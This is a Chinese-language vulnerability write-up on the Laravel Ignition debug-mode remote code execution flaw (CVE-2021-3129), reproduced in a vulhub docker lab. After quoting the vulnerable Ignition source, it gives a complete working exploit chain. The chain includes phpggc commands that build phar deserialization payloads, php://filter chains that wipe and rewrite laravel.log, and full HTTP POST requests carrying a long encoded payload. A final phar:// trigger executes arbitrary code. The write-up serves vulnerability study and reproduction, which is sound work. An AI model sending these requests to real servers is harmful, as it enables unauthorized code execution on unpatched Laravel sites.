Laravel Debug mode RCE(CVE-2021-3129)漏洞

漏洞简介

Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

环境配置

采用vulhub的docker

1
2
docker-compose up -d
环境启动后,访问`http://your-ip:8080`即可查看Laravel默认的欢迎页面。

1

漏洞分析

Laravel在第6版之后,debug模式使用了ignition组件来美化堆栈信息,除此之外,ignition还附带了“一键修复bug”的功能。

通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php过滤不严谨导致的。

调用方式如下,调用solution对象中的run()方法,并将可控的parameters参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

namespace Facade\Ignition\Http\Controllers;

use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;

class ExecuteSolutionController
{
use ValidatesRequests;

public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();

$solution->run($request->get('parameters', []));

return response('');
}
}

我们重点关注viewFile这个参数,代码中对它进行了如下处理:

1
2
$originalContents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

可以看到这里主要功能点是:读取一个给定的路径$parameters['viewFile'],并替换读取到的内容中的$variableName$variableName ?? '',之后写回文件中$parameters['viewFile'],这相当于什么都没有做!

由于这里调用了file_get_contents(),且其中的参数可控,所以这里可以通过phar://协议去触发phar反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

namespace Facade\Ignition\Solutions;

use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;

class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}

public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);

$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}

return $expectedTokens;
}
}

发送如下包,显示既有debug模式

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.88.128:8080
Content-Type: application/json
Content-Length: 168

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "xxxxxxx"
}
}

2

漏洞利用

1.创建一个 PHPGGC 负载并对其进行编码:

1
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'

2.清空日志内容:

POST发送

1
viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log

3.创建第一条日志内容,用于编码对齐:

1
viewFile: AA

4.创建Payload写入日志:

palyoad为第一步获取到的内容

1
viewFile: <PAYLOAD>

5.使用过滤器将日志转换为有效的Phar包:

清空其余字符并将payload解码为原内容,注意log日志路径可能需要修改

1
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=./storage/logs/laravel.log

6.触发Phar反序列化:

1
viewFile: phar://./storage/logs/laravel.log

利用laravel.log实现phar反序列化

该利用方法的核心步骤是将laravel.log里的内容清空,然后利用php://filter/write=写入phar反序列化的payload,最后发送请求利用file_get_contents()去触发phar反序列化。

这里,在清空laravel.log的内容时,作者在文章中提出的思路是使用php://filter中的convert.base64-decode过滤器的特性,将log清空。有的人可能会想到一直convert.base64-decode,直到都为不可见字符解码清空。但是这个做法会有问题。因为base64在解码的时候如果等号后面还有内容则会报错。所以正确的做法是先用convert.iconv.utf-8.utf-16be将utf-8转为utf-16,然后再用convert.quoted-printable-encode打印所有不可见字符,然后再用convert.iconv.utf-16be.utf-8将utf-16转为utf-8,完成上述操作后laravel.log中所有字符转为不可见字符,最后convert.base64-decode即可。详情请看:https://xz.aliyun.com/t/9030?page=1#toc-6

将上述链条合起来就是:

1
php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

知道漏洞利用原理后,我们按照如下步骤复现漏洞。

完整的漏洞利用过程

1.发送如下数据包,将原日志文件laravel.log清空:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.12:8000
Content-Type: application/json
Content-Length: 328

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

2.用phpggc生成phar序列化利用POC(编码后的)

1
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

3.发送如下数据包,给Log增加一次前缀,用于对齐:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.12:8000
Content-Type: application/json
Content-Length: 163

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "AA"
}
}

4.将POC作为viewFile的值,发送数据包

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.12:8000
Content-Type: application/json
Content-Length: 5058

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4C=00=71=00=2F=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=64=00=30=00=6B=00=2F=00=31=00=70=00=52=00=49=00=71=00=57=00=72=00=36=00=77=00=46=00=6C=00=38=00=30=00=4D=00=2B=00=48=00=4B=00=2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
}
}

5.发送如下数据包,清空对log文件中的干扰字符,只留下POC:

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.12:8000
Content-Type: application/json
Content-Length: 299

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
}
}

这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。

6.使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径):

1
2
3
4
5
6
7
8
9
10
11
12
POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.12:8000
Content-Type: application/json
Content-Length: 210

{
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
}
}

参考:https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g